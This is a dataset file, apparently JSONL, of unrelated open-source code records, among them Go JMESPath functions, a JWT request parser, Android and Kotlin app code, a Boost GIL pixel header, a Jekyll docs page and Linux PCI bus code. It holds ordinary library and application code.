key)\n\t}\n\treturn collected, nil\n}\nfunc jpfValues(arguments []interface{}) (interface{}, error) {\n\targ := arguments[0].(map[string]interface{})\n\tcollected := make([]interface{}, 0, len(arg))\n\tfor _, value := range arg {\n\t\tcollected = append(collected, value)\n\t}\n\treturn collected, nil\n}\nfunc jpfSort(arguments []interface{}) (interface{}, error) {\n\tif items, ok := toArrayNum(arguments[0]); ok {\n\t\td := sort.Float64Slice(items)\n\t\tsort.Stable(d)\n\t\tfinal := make([]interface{}, len(d))\n\t\tfor i, val := range d {\n\t\t\tfinal[i] = val\n\t\t}\n\t\treturn final, nil\n\t}\n\t// Otherwise we're dealing with sort()'ing strings.\n\titems, _ := toArrayStr(arguments[0])\n\td := sort.StringSlice(items)\n\tsort.Stable(d)\n\tfinal := make([]interface{}, len(d))\n\tfor i, val := range d {\n\t\tfinal[i] = val\n\t}\n\treturn final, nil\n}\nfunc jpfSortBy(arguments []interface{}) (interface{}, error) {\n\tintr := arguments[0].(*treeInterpreter)\n\tarr := arguments[1].([]interface{})\n\texp := arguments[2].(expRef)\n\tnode := exp.ref\n\tif len(arr) == 0 {\n\t\treturn arr, nil\n\t} else if len(arr) == 1 {\n\t\treturn arr, nil\n\t}\n\tstart, err := intr.Execute(node, arr[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif _, ok := start.(float64); ok {\n\t\tsortable := &byExprFloat{intr, node, arr, false}\n\t\tsort.Stable(sortable)\n\t\tif sortable.hasError {\n\t\t\treturn nil, errors.New(\"error in sort_by comparison\")\n\t\t}\n\t\treturn arr, nil\n\t} else if _, ok := start.(string); ok {\n\t\tsortable := &byExprString{intr, node, arr, false}\n\t\tsort.Stable(sortable)\n\t\tif sortable.hasError {\n\t\t\treturn nil, errors.New(\"error in sort_by comparison\")\n\t\t}\n\t\treturn arr, nil\n\t} else {\n\t\treturn nil, errors.New(\"invalid type, must be number of string\")\n\t}\n}\nfunc jpfJoin(arguments []interface{}) (interface{}, error) {\n\tsep := arguments[0].(string)\n\t// We can't just do arguments[1].([]string), we have to\n\t// manually convert each item to a string.\n\tarrayStr := []string{}\n\tfor _, item := range arguments[1].([]interface{}) {\n\t\tarrayStr = append(arrayStr, item.(string))\n\t}\n\treturn strings.Join(arrayStr, sep), nil\n}\nfunc jpfReverse(arguments []interface{}) (interface{}, error) {\n\tif s, ok := arguments[0].(string); ok {\n\t\tr := []rune(s)\n\t\tfor i, j := 0, len(r)-1; i < len(r)/2; i, j = i+1, j-1 {\n\t\t\tr[i], r[j] = r[j], r[i]\n\t\t}\n\t\treturn string(r), nil\n\t}\n\titems := arguments[0].([]interface{})\n\tlength := len(items)\n\treversed := make([]interface{}, length)\n\tfor i, item := range items {\n\t\treversed[length-(i+1)] = item\n\t}\n\treturn reversed, nil\n}\nfunc jpfToArray(arguments []interface{}) (interface{}, error) {\n\tif _, ok := arguments[0].([]interface{}); ok {\n\t\treturn arguments[0], nil\n\t}\n\treturn arguments[:1:1], nil\n}\nfunc jpfToString(arguments []interface{}) (interface{}, error) {\n\tif v, ok := arguments[0].(string); ok {\n\t\treturn v, nil\n\t}\n\tresult, err := json.Marshal(arguments[0])\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn string(result), nil\n}\nfunc jpfToNumber(arguments []interface{}) (interface{}, error) {\n\targ := arguments[0]\n\tif v, ok := arg.(float64); ok {\n\t\treturn v, nil\n\t}\n\tif v, ok := arg.(string); ok {\n\t\tconv, err := strconv.ParseFloat(v, 64)\n\t\tif err != nil {\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn conv, nil\n\t}\n\tif _, ok := arg.([]interface{}); ok {\n\t\treturn nil, nil\n\t}\n\tif _, ok := arg.(map[string]interface{}); ok {\n\t\treturn nil, nil\n\t}\n\tif arg == nil {\n\t\treturn nil, nil\n\t}\n\tif arg == true || arg == false {\n\t\treturn nil, nil\n\t}\n\treturn nil, errors.New(\"unknown type\")\n}\nfunc jpfNotNull(arguments []interface{}) (interface{}, error) {\n\tfor _, arg := range arguments {\n\t\tif arg != nil {\n\t\t\treturn arg, nil\n\t\t}\n\t}\n\treturn nil, nil\n}\n"} -{"text": " trial newsgroups\n
    \n
    trial.misc.legal.software
    \nLegal software - as a trial newsgroup. \n
    trial.newgroups
    \nNewgroups in the Trial hierarchy. \n
    trial.rec.metalworking
    \nMetalworking - as a trial newsgroup. \n
    trial.soc.culture.czechoslovak
    \nCzechoslovak culture - as a trial newsgroup. \n
    trial.soc.culture.italian
    \n? \n
    trial.talk.politics.peace
    \n? \n
    trial.test
    \nTesting of the Trial distribution. \n
    \n"} -{"text": "package request\n\nimport (\n\t\"github.com/dgrijalva/jwt-go\"\n\t\"net/http\"\n)\n\n// Extract and parse a JWT token from an HTTP request.\n// This behaves the same as Parse, but accepts a request and an extractor\n// instead of a token string. The Extractor interface allows you to define\n// the logic for extracting a token. Several useful implementations are provided.\nfunc ParseFromRequest(req *http.Request, extractor Extractor, keyFunc jwt.Keyfunc) (token *jwt.Token, err error) {\n\treturn ParseFromRequestWithClaims(req, extractor, jwt.MapClaims{}, keyFunc)\n}\n\n// ParseFromRequest but with custom Claims type\nfunc ParseFromRequestWithClaims(req *http.Request, extractor Extractor, claims jwt.Claims, keyFunc jwt.Keyfunc) (token *jwt.Token, err error) {\n\t// Extract token from request\n\tif tokStr, err := extractor.ExtractToken(req); err == nil {\n\t\treturn jwt.ParseWithClaims(tokStr, claims, keyFunc)\n\t} else {\n\t\treturn nil, err\n\t}\n}\n"} -{"text": "/**\n * Copyright 2010-present Facebook.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.facebook.widget;\n\nimport android.content.Context;\nimport com.facebook.internal.FileLruCache;\nimport com.facebook.internal.Utility;\n\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.InputStreamReader;\nimport java.io.OutputStream;\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\nclass UrlRedirectCache {\n static final String TAG = UrlRedirectCache.class.getSimpleName();\n private static final String REDIRECT_CONTENT_TAG = TAG + \"_Redirect\";\n\n private volatile static FileLruCache urlRedirectCache;\n\n synchronized static FileLruCache getCache(Context context) throws IOException{\n if (urlRedirectCache == null) {\n urlRedirectCache = new FileLruCache(context.getApplicationContext(), TAG, new FileLruCache.Limits());\n }\n return urlRedirectCache;\n }\n\n static URL getRedirectedUrl(Context context, URL url) {\n if (url == null) {\n return null;\n }\n\n String urlString = url.toString();\n URL finalUrl = null;\n InputStreamReader reader = null;\n try {\n InputStream stream;\n FileLruCache cache = getCache(context);\n boolean redirectExists = false;\n while ((stream = cache.get(urlString, REDIRECT_CONTENT_TAG)) != null) {\n redirectExists = true;\n\n // Get the redirected url\n reader = new InputStreamReader(stream);\n char[] buffer = new char[128];\n int bufferLength;\n StringBuilder urlBuilder = new StringBuilder();\n while ((bufferLength = reader.read(buffer, 0, buffer.length)) > 0) {\n urlBuilder.append(buffer, 0, bufferLength);\n }\n Utility.closeQuietly(reader);\n\n // Iterate to the next url in the redirection\n urlString = urlBuilder.toString();\n }\n\n if (redirectExists) {\n finalUrl = new URL(urlString);\n }\n } catch (MalformedURLException e) {\n // caching is best effort, so ignore the exception\n } catch (IOException ioe) {\n } finally {\n Utility.closeQuietly(reader);\n }\n\n return finalUrl;\n }\n\n static void cacheUrlRedirect(Context context, URL fromUrl, URL toUrl) {\n if (fromUrl == null || toUrl == null) {\n return;\n }\n\n OutputStream redirectStream = null;\n try {\n FileLruCache cache = getCache(context);\n redirectStream = cache.openPutStream(fromUrl.toString(), REDIRECT_CONTENT_TAG);\n redirectStream.write(toUrl.toString().getBytes());\n } catch (IOException e) {\n // Caching is best effort\n } finally {\n Utility.closeQuietly(redirectStream);\n }\n }\n}\n"} -{"text": "package eu.kanade.tachiyomi.extension.pt.supermangas.source\n\nimport eu.kanade.tachiyomi.extension.pt.supermangas.SuperMangasGeneric\nimport eu.kanade.tachiyomi.source.model.Filter\nimport eu.kanade.tachiyomi.source.model.FilterList\nimport okhttp3.FormBody\n\nclass SuperMangas : SuperMangasGeneric(\n \"Super Mang\u00e1s\",\n \"https://supermangas.site\"\n) {\n override val contentList = listOf(\n Triple(\"100\", \"\", \"Todos\"),\n Triple(\"6\", \"\", \"Mang\u00e1\"),\n Triple(\"8\", \"\", \"Light Novel\"),\n Triple(\"9\", \"\", \"Manhwa\"),\n Triple(\"10\", \"\", \"Manhua\")\n )\n\n override fun chapterListPaginatedBody(idCategory: Int, page: Int, totalPage: Int): FormBody.Builder =\n super.chapterListPaginatedBody(idCategory, page, totalPage)\n .add(\"order_audio\", \"pt-br\")\n\n override fun getFilterList() = FilterList(\n Filter.Header(\"Filtros abaixo s\u00e3o ignorados na busca!\"),\n ContentFilter(contentList),\n LetterFilter(),\n StatusFilter(),\n SortFilter(),\n GenreFilter(getGenreList()),\n ExclusiveModeFilter()\n )\n\n override fun getGenreList(): List = listOf(\n Tag(\"1\", \"A\u00e7\u00e3o\"),\n Tag(\"81\", \"Action\"),\n Tag(\"20\", \"Artes marciais\"),\n Tag(\"4\", \"Aventura\"),\n Tag(\"17\", \"Bishoujo\"),\n Tag(\"16\", \"Bishounen\"),\n Tag(\"78\", \"Cars\"),\n Tag(\"21\", \"Com\u00e9dia\"),\n Tag(\"27\", \"Com\u00e9dia rom\u00e2ntica\"),\n Tag(\"73\", \"Crian\u00e7as\"),\n Tag(\"79\", \"Dementia\"),\n Tag(\"49\", \"Dem\u00f4nio\"),\n Tag(\"76\", \"Doujinshi\"),\n Tag(\"22\", \"Drama\"),\n Tag(\"12\", \"Ecchi\"),\n Tag(\"47\", \"Espa\u00e7o\"),\n Tag(\"23\", \"Esporte\"),\n Tag(\"24\", \"Fantasia\"),\n Tag(\"18\", \"Faroeste\"),\n Tag(\"30\", \"Fic\u00e7\u00e3o cient\u00edfica\"),\n Tag(\"68\", \"Food\"),\n Tag(\"72\", \"Gender Bender\"),\n Tag(\"25\", \"Har\u00e9m\"),\n Tag(\"48\", \"Hist\u00f3rico\"),\n Tag(\"50\", \"Horror\"),\n Tag(\"75\", \"Isekai\"),\n Tag(\"34\", \"Jogos\"),\n Tag(\"9\", \"Josei\"),\n Tag(\"80\", \"Juventude\"),\n Tag(\"82\", \"Kaiju\"),\n Tag(\"83\", \"KBS2\"),\n Tag(\"10\", \"Kodomo\"),\n Tag(\"43\", \"Live action\"),\n Tag(\"40\", \"Magia\"),\n Tag(\"74\", \"Mature\"),\n Tag(\"11\", \"Mecha\"),\n Tag(\"46\", \"Militar\"),\n Tag(\"32\", \"Mist\u00e9rio\"),\n Tag(\"37\", \"Musical\"),\n Tag(\"45\", \"Par\u00f3dia\"),\n Tag(\"38\", \"Policial\"),\n Tag(\"44\", \"Psicol\u00f3gico\"),\n Tag(\"3\", \"Romance\"),\n Tag(\"39\", \"Samurai\"),\n Tag(\"8\", \"Seinen\"),\n Tag(\"5\", \"Shoujo\"),\n Tag(\"7\", \"Shoujo-ai\"),\n Tag(\"31\", \"Shounen\"),\n Tag(\"6\", \"Shounen-ai\"),\n Tag(\"41\", \"Slice of life\"),\n Tag(\"28\", \"Sobrenatural\"),\n Tag(\"77\", \"Super Her\u00f3i\"),\n Tag(\"35\", \"Superpoder\"),\n Tag(\"26\", \"Suspense\"),\n Tag(\"71\", \"Teatro\"),\n Tag(\"2\", \"Terror\"),\n Tag(\"33\", \"Thriller\"),\n Tag(\"42\", \"Tokusatsu\"),\n Tag(\"29\", \"Vampiros\"),\n Tag(\"19\", \"Vida escolar\"),\n Tag(\"36\", \"Visual Novels\"),\n Tag(\"70\", \"War\"),\n Tag(\"15\", \"Yuri\")\n )\n}\n"} -{"text": "module.exports = {\n dirname: __dirname,\n filename: __filename,\n};\n\nfunction privateFunction() {}\n"} -{"text": "function syscall(stub, n) {\n switch (n) {\n default:\n console.error(\"NYI syscall\", arguments);\n throw new Error(\"NYI syscall\");\n break;\n \n \n case /*brk*/ 45:\n return 0;\n case /*mmap2*/ 192:\n var instance = stub.instance;\n var memory = instance.exports.memory;\n var requested = arguments[3];\n if (!stub.memory) {\n stub.memory = {\n object: memory,\n currentPosition: memory.buffer.byteLength,\n };\n }\n var cur = stub.memory.currentPosition;\n if (cur + requested > memory.buffer.byteLength) {\n var need = Math.ceil((cur + requested - memory.buffer.byteLength) / 65536);\n memory.grow(need);\n }\n stub.memory.currentPosition += requested;\n return cur;\n }\n}\n\nfunction createWasmceptionStub() {\n var imports = {\n env: {\n __syscall0: (n) => syscall(stub, n),\n __syscall1: (n,a) => syscall(stub, n, a),\n __syscall2: (n,a,b) => syscall(stub, n, a, b),\n __syscall3: (n,a,b,c) => syscall(stub, n, a, b, c),\n __syscall4: (n,a,b,c,d) => syscall(stub, n, a, b, c, d),\n __syscall5: (n,a,b,c,d,e) => syscall(stub, n, a, b, c, d, e),\n __syscall6: (n,a,b,c,d,e,f) => syscall(stub, n, a, b, c, d, e, f),\n },\n };\n var stub = {\n imports,\n instance: null,\n memory: null,\n };\n return stub;\n}"} -{"text": "import { STRICT } from '../helpers/constants';\n\nimport reverse from 'core-js-pure/features/array/reverse';\n\nQUnit.test('Array#reverse', assert => {\n assert.isFunction(reverse);\n const a = [1, 2.2, 3.3];\n function fn() {\n +a;\n reverse(a);\n }\n fn();\n assert.arrayEqual(a, [3.3, 2.2, 1]);\n if (STRICT) {\n assert.throws(() => reverse(null, () => { /* empty */ }, 1), TypeError);\n assert.throws(() => reverse(undefined, () => { /* empty */ }, 1), TypeError);\n }\n});\n"} -{"text": "addColumn('{{%commerce_orders}}', 'paidStatus', $this->enum('paidStatus', ['paid', 'partial', 'unpaid']));\n\n return true;\n }\n\n /**\n * @inheritdoc\n */\n public function safeDown()\n {\n echo \"m180307_130000_order_paid_status cannot be reverted.\\n\";\n return false;\n }\n}\n"} -{"text": "//\n// PresentOverContextSegue.swift\n// IBAnimatable\n//\n// Created by Tom Baranes on 30/03/2017.\n// Copyright \u00a9 2017 IBAnimatable. All rights reserved.\n//\n\nimport UIKit\n\nopen class PresentOverCurrentContextSegue: UIStoryboardSegue {\n open override func perform() {\n if let modalVC = destination as? AnimatableModalViewController {\n let correctedOrigin = source.view.convert(source.view.frame.origin, to: nil)\n modalVC.contextFrameForPresentation = CGRect(origin: correctedOrigin,\n size: source.view.bounds.size)\n }\n source.present(destination, animated: true, completion: nil)\n }\n}\n"} -{"text": "[{include file=\"headitem.tpl\" title=\"GENERAL_ADMIN_TITLE\"|oxmultilangassign}]\n\n[{if $readonly}]\n [{assign var=\"readonly\" value=\"readonly disabled\"}]\n[{else}]\n [{assign var=\"readonly\" value=\"\"}]\n[{/if}]\n\n
    getSelfLink()}]\" method=\"post\">\n [{$oViewConf->getHiddenSid()}]\n \n \n \n
    \n\n\n
    getSelfLink()}]\" method=\"post\">\n[{$oViewConf->getHiddenSid()}]\n\n\n\n\n\n\n\n\n\n\n \n\n \n \n \n \n \n \n
    \n [{block name=\"admin_article_crossselling_assign_crossselling\"}]\n [{oxhasrights object=$edit readonly=$readonly}]\n \n [{/oxhasrights}]\n [{/block}]\n \n [{block name=\"admin_article_crossselling_assign_accessoires\"}]\n [{oxhasrights object=$edit readonly=$readonly}]\n \n [{/oxhasrights}]\n [{/block}]\n
    \n
    \n[{include file=\"bottomnaviitem.tpl\"}]\n\n[{include file=\"bottomitem.tpl\"}]\n"} -{"text": "import {\n _toString\n}\nfrom '../../util/index'\n\nexport default {\n\n test: 'text',\n\n bind: function() {\n this.attr = this.el.nodeType === 3 ? 'data' : 'textContent'\n },\n\n update: function(value) {\n this.el[this.attr] = _toString(value)\n }\n}\n"} -{"text": "package com.saintdan.framework.tools;\n\nimport com.saintdan.framework.constant.CommonsConstant;\nimport com.saintdan.framework.param.BaseParam;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.TreeMap;\nimport java.util.stream.Collectors;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.data.domain.PageRequest;\nimport org.springframework.data.domain.Sort;\nimport org.springframework.data.domain.Sort.Direction;\n\n/**\n * Query helper.\n *\n * @author Liao Yifan\n * @date 5/8/16\n * @since JDK1.8\n */\npublic class QueryHelper {\n\n public static PageRequest getPageRequest(BaseParam param) {\n return PageRequest.of(param.getPageNo() == null ? 0 : param.getPageNo() - 1,\n param.getPageSize(), QueryHelper.getSort(param.getSortBy()));\n }\n\n /**\n * Get default {@link Sort}.\n *\n * @return {@link Sort}\n */\n public static Sort getDefaultSort() {\n return Sort.by(Direction.ASC, \"id\");\n }\n\n /**\n * Get {@link Sort}\n *\n * @param param sort param\n * @param direction {@link Sort.Direction}\n * @return {@link Sort}\n */\n public static Sort getSort(String param, Sort.Direction direction) {\n return Sort.by(direction, param);\n }\n\n /**\n * Get {@link Sort}\n *\n * @param map sort map\n * @return {@link Sort}\n */\n public static Sort getSort(TreeMap map) {\n List orderList = new ArrayList<>();\n for (Map.Entry entry : map.entrySet()) {\n Sort.Order order = new Sort.Order(entry.getValue(), entry.getKey());\n orderList.add(order);\n }\n return Sort.by(orderList);\n }\n\n /**\n * Get {@link Sort}\n *\n * @param sortBy sortedBy\n * @return {@link Sort}\n */\n public static Sort getSort(String sortBy) {\n return StringUtils.isBlank(sortBy) ? getDefaultSort()\n : Sort.by(Arrays.stream(sortBy.split(CommonsConstant.COMMA)).map(\n (orders) -> getOrder(orders.split(CommonsConstant.COLON)))\n .collect(Collectors.toList()));\n }\n\n /**\n * Get {@link Sort.Order}\n *\n * @param orders orders\n * @return {@link Sort.Order}\n */\n private static Sort.Order getOrder(String[] orders) {\n return new Sort.Order(Sort.Direction.fromString(orders[1]), orders[0]);\n }\n}\n"} -{"text": "/*\n Copyright 2005-2007 Adobe Systems Incorporated\n \n Use, modification and distribution are subject to the Boost Software License,\n Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n http://www.boost.org/LICENSE_1_0.txt).\n\n See http://opensource.adobe.com/gil for most recent version including documentation.\n*/\n\n/*************************************************************************************************/\n\n#ifndef GIL_PACKED_PIXEL_H\n#define GIL_PACKED_PIXEL_H\n\n////////////////////////////////////////////////////////////////////////////////////////\n/// \\file \n/// \\brief A model of a heterogeneous pixel whose channels are bit ranges. For example 16-bit RGB in '565' format\n/// \\author Lubomir Bourdev and Hailin Jin \\n\n/// Adobe Systems Incorporated\n/// \\date 2005-2009 \\n Last updated on February 20, 2009\n///\n////////////////////////////////////////////////////////////////////////////////////////\n\n#include \n#include \n#include \n#include \n#include \"gil_config.hpp\"\n#include \"pixel.hpp\"\n\nnamespace boost { namespace gil {\n\n/// \\defgroup ColorBaseModelPackedPixel packed_pixel \n/// \\ingroup ColorBaseModel\n/// \\brief A heterogeneous color base whose elements are reference proxies to channels in a pixel. Models ColorBaseValueConcept. This class is used to model packed pixels, such as 16-bit packed RGB.\n\n/**\n\\defgroup PixelModelPackedPixel packed_pixel \n\\ingroup PixelModel\n\\brief A heterogeneous pixel used to represent packed pixels with non-byte-aligned channels. Models PixelValueConcept\n\nExample:\n\\code\ntypedef packed_pixel_type, rgb_layout_t>::type rgb565_pixel_t;\nBOOST_STATIC_ASSERT((sizeof(rgb565_pixel_t)==2));\n\nrgb565_pixel_t r565;\nget_color(r565,red_t()) = 31;\nget_color(r565,green_t()) = 63;\nget_color(r565,blue_t()) = 31;\nassert(r565 == rgb565_pixel_t((uint16_t)0xFFFF)); \n\\endcode\n*/\n\n/// \\ingroup ColorBaseModelPackedPixel PixelModelPackedPixel PixelBasedModel\n/// \\brief Heterogeneous pixel value whose channel references can be constructed from the pixel bitfield and their index. Models ColorBaseValueConcept, PixelValueConcept, PixelBasedConcept\n/// Typical use for this is a model of a packed pixel (like 565 RGB)\ntemplate // Layout defining the color space and ordering of the channels. Example value: rgb_layout_t\nstruct packed_pixel {\n BitField _bitfield;\n\n typedef Layout layout_t;\n typedef packed_pixel value_type;\n typedef value_type& reference;\n typedef const value_type& const_reference;\n\n BOOST_STATIC_CONSTANT(bool, is_mutable = channel_traits::type>::is_mutable);\n\n packed_pixel(){}\n explicit packed_pixel(const BitField& bitfield) : _bitfield(bitfield) {}\n\n // Construct from another compatible pixel type\n packed_pixel(const packed_pixel& p) : _bitfield(p._bitfield) {}\n template packed_pixel(const P& p, typename enable_if_c::value>::type* d=0) { check_compatible

    (); static_copy(p,*this); } \n packed_pixel(int chan0, int chan1) : _bitfield(0) { \n BOOST_STATIC_ASSERT((num_channels::value==2)); \n at_c<0>(*this)=chan0; at_c<1>(*this)=chan1; \n } \n packed_pixel(int chan0, int chan1, int chan2) : _bitfield(0) { \n BOOST_STATIC_ASSERT((num_channels::value==3)); \n gil::at_c<0>(*this)=chan0; gil::at_c<1>(*this)=chan1; gil::at_c<2>(*this)=chan2; \n } \n packed_pixel(int chan0, int chan1, int chan2, int chan3) : _bitfield(0) { \n BOOST_STATIC_ASSERT((num_channels::value==4)); \n gil::at_c<0>(*this)=chan0; gil::at_c<1>(*this)=chan1; gil::at_c<2>(*this)=chan2; gil::at_c<3>(*this)=chan3; \n } \n packed_pixel(int chan0, int chan1, int chan2, int chan3, int chan4) : _bitfield(0) { \n BOOST_STATIC_ASSERT((num_channels::value==5)); \n gil::at_c<0>(*this)=chan0; gil::at_c<1>(*this)=chan1; gil::at_c<2>(*this)=chan2; gil::at_c<3>(*this)=chan3; gil::at_c<4>(*this)=chan4;\n } \n\n packed_pixel& operator=(const packed_pixel& p) { _bitfield=p._bitfield; return *this; }\n\n template packed_pixel& operator=(const P& p) { assign(p, mpl::bool_::value>()); return *this; } \n template bool operator==(const P& p) const { return equal(p, mpl::bool_::value>()); } \n\n template bool operator!=(const P& p) const { return !(*this==p); }\n\nprivate:\n template static void check_compatible() { gil_function_requires >(); }\n template void assign(const Pixel& p, mpl::true_) { check_compatible(); static_copy(p,*this); } \n template bool equal(const Pixel& p, mpl::true_) const { check_compatible(); return static_equal(*this,p); } \n\n// Support for assignment/equality comparison of a channel with a grayscale pixel\n static void check_gray() { BOOST_STATIC_ASSERT((is_same::value)); }\n template void assign(const Channel& chan, mpl::false_) { check_gray(); at_c<0>(*this)=chan; }\n template bool equal (const Channel& chan, mpl::false_) const { check_gray(); return at_c<0>(*this)==chan; }\npublic:\n packed_pixel& operator= (int chan) { check_gray(); at_c<0>(*this)=chan; return *this; }\n bool operator==(int chan) const { check_gray(); return at_c<0>(*this)==chan; }\n};\n\n/////////////////////////////\n// ColorBasedConcept\n/////////////////////////////\n\ntemplate \nstruct kth_element_type,K> : public mpl::at_c {};\n\ntemplate \nstruct kth_element_reference_type,K> : public mpl::at_c {};\n\ntemplate \nstruct kth_element_const_reference_type,K> {\n typedef typename channel_traits::type>::const_reference type;\n};\n\ntemplate inline\ntypename kth_element_reference_type, K>::type \nat_c(packed_pixel& p) { \n return typename kth_element_reference_type, K>::type(&p._bitfield); \n}\n\ntemplate inline\ntypename kth_element_const_reference_type, K>::type \nat_c(const packed_pixel& p) { \n return typename kth_element_const_reference_type, K>::type(&p._bitfield);\n}\n\n/////////////////////////////\n// PixelConcept\n/////////////////////////////\n\n// Metafunction predicate that flags packed_pixel as a model of PixelConcept. Required by PixelConcept\ntemplate \nstruct is_pixel > : public mpl::true_{};\n\n/////////////////////////////\n// PixelBasedConcept\n/////////////////////////////\n\ntemplate \nstruct color_space_type > {\n typedef typename Layout::color_space_t type;\n}; \n\ntemplate \nstruct channel_mapping_type > {\n typedef typename Layout::channel_mapping_t type;\n}; \n\ntemplate \nstruct is_planar > : mpl::false_ {}; \n\n\n////////////////////////////////////////////////////////////////////////////////\n///\n/// Support for interleaved iterators over packed pixel\n///\n////////////////////////////////////////////////////////////////////////////////\n\n/// \\defgroup PixelIteratorModelPackedInterleavedPtr Pointer to packed_pixel\n/// \\ingroup PixelIteratorModel\n/// \\brief Iterators over interleaved pixels.\n/// The pointer packed_pixel* is used as an iterator over interleaved pixels of packed format. Models PixelIteratorConcept, HasDynamicXStepTypeConcept, MemoryBasedIteratorConcept\n\ntemplate \nstruct iterator_is_mutable*> : public mpl::bool_::is_mutable> {};\ntemplate \nstruct iterator_is_mutable*> : public mpl::false_ {};\n\n\n\n} } // namespace boost::gil\n\nnamespace boost {\n template \n struct has_trivial_constructor > : public has_trivial_constructor

    {};\n}\n#endif\n"} -{"text": "\n\n\n\n\n\npost.html - jekyll-2.3.0 Documentation\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n

    \n\n
    \n
    \n\n

    layout: default

    \n
    \n\n

    <div class=\u201cpost\u201d>

    \n\n
    <header class="post-header">\n  <h1 class="post-title">{{ page.title }}</h1>\n  <p class="post-meta">{{ page.date | date: "%b %-d, %Y" }}{% if page.author %} \u2022 {{ page.author }}{% endif %}{% if page.meta %} \u2022 {{ page.meta }}{% endif %}</p>\n</header>\n\n<article class="post-content">\n  {{ content }}\n</article>
    \n\n

    </div>

    \n\n
    \n\n\n\n\n\n"} -{"text": "/*\n *\tdrivers/pci/bus.c\n *\n * From setup-res.c, by:\n *\tDave Rusling (david.rusling@reo.mts.dec.com)\n *\tDavid Mosberger (davidm@cs.arizona.edu)\n *\tDavid Miller (davem@redhat.com)\n *\tIvan Kokshaysky (ink@jurassic.park.msu.ru)\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"pci.h\"\n\n/**\n * pci_bus_alloc_resource - allocate a resource from a parent bus\n * @bus: PCI bus\n * @res: resource to allocate\n * @size: size of resource to allocate\n * @align: alignment of resource to allocate\n * @min: minimum /proc/iomem address to allocate\n * @type_mask: IORESOURCE_* type flags\n * @alignf: resource alignment function\n * @alignf_data: data argument for resource alignment function\n *\n * Given the PCI bus a device resides on, the size, minimum address,\n * alignment and type, try to find an acceptable resource allocation\n * for a specific device resource.\n */\nint\npci_bus_alloc_resource(struct pci_bus *bus, struct resource *res,\n\t\tresource_size_t size, resource_size_t align,\n\t\tresource_size_t min, unsigned int type_mask,\n\t\tvoid (*alignf)(void *, struct resource *, resource_size_t,\n\t\t\t\tresource_size_t),\n\t\tvoid *alignf_data)\n{\n\tint i, ret = -ENOMEM;\n\tresource_size_t max = -1;\n\n\ttype_mask |= IORESOURCE_IO | IORESOURCE_MEM;\n\n\t/* don't allocate too high if the pref mem doesn't support 64bit*/\n\tif (!(res->flags & IORESOURCE_MEM_64))\n\t\tmax = PCIBIOS_MAX_MEM_32;\n\n\tfor (i = 0; i < PCI_BUS_NUM_RESOURCES; i++) {\n\t\tstruct resource *r = bus->resource[i];\n\t\tif (!r)\n\t\t\tcontinue;\n\n\t\t/* type_mask must match */\n\t\tif ((res->flags ^ r->flags) & type_mask)\n\t\t\tcontinue;\n\n\t\t/* We cannot allocate a non-prefetching resource\n\t\t from a pre-fetching area */\n\t\tif ((r->flags & IORESOURCE_PREFETCH) &&\n\t\t !(res->flags & IORESOURCE_PREFETCH))\n\t\t\tcontinue;\n\n\t\t/* Ok, try it out.. */\n\t\tret = allocate_resource(r, res, size,\n\t\t\t\t\tr->start ? : min,\n\t\t\t\t\tmax, align,\n\t\t\t\t\talignf, alignf_data);\n\t\tif (ret == 0)\n\t\t\tbreak;\n\t}\n\treturn ret;\n}\n\n/**\n * pci_bus_add_device - add a single device\n * @dev: device to add\n *\n * This adds a single pci device to the global\n * device list and adds sysfs and procfs entries\n */\nint pci_bus_add_device(struct pci_dev *dev)\n{\n\tint retval;\n\tretval = device_add(&dev->dev);\n\tif (retval)\n\t\treturn retval;\n\n\tdev->is_added = 1;\n\tpci_proc_attach_device(dev);\n\tpci_create_sysfs_dev_files(dev);\n\treturn 0;\n}\n\n/**\n * pci_bus_add_child - add a child bus\n * @bus: bus to add\n *\n * This adds sysfs entries for a single bus\n */\nint pci_bus_add_child(struct pci_bus *bus)\n{\n\tint retval;\n\n\tif (bus->bridge)\n\t\tbus->dev.parent = bus->bridge;\n\n\tretval = device_register(&bus->dev);\n\tif (retval)\n\t\treturn retval;\n\n\tbus->is_added = 1;\n\n\tretval = device_create_file(&bus->dev, &dev_attr_cpuaffinity);\n\tif (retval)\n\t\treturn retval;\n\n\tretval = device_create_file(&bus->dev, &dev_attr_cpulistaffinity);\n\n\t/* Create legacy_io and legacy_mem files for this bus */\n\tpci_create_legacy_files(bus);\n\n\treturn retval;\n}\n\n/**\n * pci_bus_add_devices - insert newly discovered PCI devices\n * @bus: bus to check for new devices\n *\n * Add newly discovered PCI devices (which are on the bus->devices\n * list) to the global PCI device list, add the sysfs and procfs\n * entries. Where a bridge is found, add the discovered bus to\n * the parents list of child buses, and recurse (breadth-first\n * to be compatible with 2.4)\n *\n * Call hotplug for each new devices.\n */\nvoid pci_bus_add_devices(const struct pci_bus *bus)\n{\n\tstruct pci_dev *dev;\n\tstruct pci_bus *child;\n\tint retval;\n\n\tlist_for_each_entry(dev, &bus->devices, bus_list) {\n\t\t/* Skip already-added devices */\n\t\tif (dev->is_added)\n\t\t\tcontinue;\n\t\tretval = pci_bus_add_device(dev);\n\t\tif (retval)\n\t\t\tdev_err(&dev->dev, \"Error adding device, continuing\\n\");\n\t}\n\n\tlist_for_each_entry(dev, &bus->devices, bus_list) {\n\t\tBUG_ON(!dev->is_added);\n\n\t\tchild = dev->subordinate;\n\t\t/*\n\t\t * If there is an unattached subordinate bus, attach\n\t\t * it and then scan for unattached PCI devices.\n\t\t */\n\t\tif (!child)\n\t\t\tcontinue;\n\t\tif (list_empty(&child->node)) 